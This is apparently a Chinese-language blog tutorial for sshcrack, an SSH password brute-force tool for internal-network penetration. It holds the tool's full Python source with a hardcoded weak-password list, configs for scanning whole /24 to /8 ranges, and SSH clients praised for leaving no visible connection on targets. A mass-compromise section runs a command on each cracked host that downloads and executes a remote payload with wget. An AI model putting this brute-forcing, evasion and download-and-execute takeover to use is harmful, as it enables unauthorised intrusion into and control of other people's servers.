0x000 前言
sshcrack是一個命令行下的SSH密碼爆破工具,適用於內滲中SSH密碼檢測
當然也可用於外網SSH密碼爆破,支持Windows/Linux,其它系統未測。Tip1
0x001 目錄
1.sshcrack用法
2.Cscan批量掃描
3.連接SSH執行命令
4.sshcrack源碼
5.SSH批量上控
6.工具下載
0x002 用法
指定SSH服務器密碼檢測
弱口令檢測 (-crack 用戶密碼可隨便寫,因為帳密列表已寫死) C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack 192.168.1.106 22 root toor LoginOK 單密碼驗證 (-test ) C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test 192.168.1.106 22 root toor LoginOK
0x003 批量SSH服務器密碼檢測
以下功能可使用Ladon SshScan模塊,更簡單易用。
0.將Cscan.exe Cscan.ini sshcrack.exe放置同一目錄
Cscan.ini內容如下
1.爆破弱口令(當前無密碼或已獲取多個帳密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 "" "" -crack
2.驗證一個已知密碼(快速檢測內網其它機器是否使用同一帳密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 root k8gege -test
3.Cscan掃描單個C段/B段/A段機器
cscan 192.168.1.108 (單個IP) cscan 192.168.1.108/24 (C段) cscan 192.168.1.108/16 (B段) cscan 192.168.1.108/8 (A段)
4.Cscan批量IP/批量C段/批量B段掃描
新建 ip24.txt或ip16.tx或ip.txt 文件,然后輸入Cscan即可(無需其它參數)
以下Cscan.ini不指定端口,因通過K8portscan識別出來非22端口
不指定端口意味着ip.txt里需要填寫上對應SSH端口
0x004 連接SSH執行命令
1.sshshell交互式連接
sshshell.exe 192.168.1.106 22 root toor
sshshell.exe 單文件交互式SSH連接工具(優點類似putty可保持會話,缺點也類似putty保持連接)
2.sshcmd命令行非交互式
優點都是執行完命令立即注銷會話(即目標機看不到網絡連接),內網滲透專用
3.滲透專版SSH連接工具GUI版
優點都是執行完命令立即注銷會話(即目標機看不到網絡連接),滲透專用,內網可代理出來或外網SSH連接時用
當然也可用於日常VPS管理用,GUI版帶文件管理,支持上傳下載單個文件或整個目錄
0x005 sshcrack源碼
建議密碼寫死,方便配合Cscan批量掃描,要不然每掃一台,sshcrack就讀取一下密碼列表,可能會影響批量效率。
以下是例子,大家可自行修改,根據自身項目添加對應密碼字典,腳本還需完善,如跑出root密碼后停止檢測root用戶或者不再爆破。
#sshcrack 1.0 #author: k8gege #https://www.cnblogs.com/k8gege #https://github.com/k8gege import paramiko import sys import logging ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logging.raiseExceptions=False def checkSSH(host,port,user,pwd): try: ssh.connect(host,port,user,pwd) print host+' '+port+' '+user+' '+pwd+' LoginOK' except: pass host=sys.argv[1] port=sys.argv[2] user=sys.argv[3] pwd=sys.argv[4] type=sys.argv[5] if type=='-test': checkSSH(host,port,user,pwd) elif type=='-crack': checkSSH(host,port,'root','123456') checkSSH(host,port,'root','cisco') checkSSH(host,port,'root','Cisco') checkSSH(host,port,'admin','123456') checkSSH(host,port,'cisco','123456') checkSSH(host,port,'cisco','cisco') checkSSH(host,port,'Cisco','Cisco') checkSSH(host,port,'cisco','cisco123') checkSSH(host,port,'admin','admin') checkSSH(host,port,'root','Admin') checkSSH(host,port,'root','toor') checkSSH(host,port,'root','Admin123') checkSSH(host,port,'root','system') checkSSH(host,port,'root','system123') checkSSH(host,port,'root','System') checkSSH(host,port,'root','System123') checkSSH(host,port,'root','Admin123!@#') checkSSH(host,port,'root','root123!@#') checkSSH(host,port,'root','root2019') checkSSH(host,port,'root','root2018') checkSSH(host,port,'root','root2017') checkSSH(host,port,'root','root2016') checkSSH(host,port,'root','root2015') checkSSH(host,port,'root','root2014') checkSSH(host,port,'root','root2013') checkSSH(host,port,'root','root2012') else: checkSSH(host,port,user,pwd)
0x006 Linux批量上控
通過調用sshcmd.exe可實現批量驗證SSH密碼或者批量上控
詳見: [教程]K8Cscan調用外部程序例子(Win/Linux批量上控)
ip.txt內容 格式: IP 端口 用戶 帳密
192.168.1.8 22 root k8123456 192.168.1.100 444 root admin123 10.1.11.5 22 root p@walod 172.3.4.6 22 root test
Cscan.ini內容
[Cscan] exe=sshcmd.exe arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 工具下載
https://github.com/k8gege/sshshell
https://github.com/k8gege/K8tools
https://github.com/k8gege/K8CScan
Tip1: Python寫的程序一定跨平台?
Python雖是跨平台語言,但不見得Python寫的程序一定支持所有系統
支不支持主要是看寫代碼的人,比如有些依賴包僅Linux下或Win下可用
你直接調用人家的包,未做任何修改,你認為一定是跨平台嗎???
就算是只用原生包寫的功能,也不能保證完全兼容
有些功能針對於不同系統需做不同的處理
Tip2: SSH連接工具詳細說明
[原創]內網滲透專用SSH連接工具sshcmd/sshshell/ssh密碼破解以及Kali開啟SSH
https://www.cnblogs.com/k8gege/p/10991264.html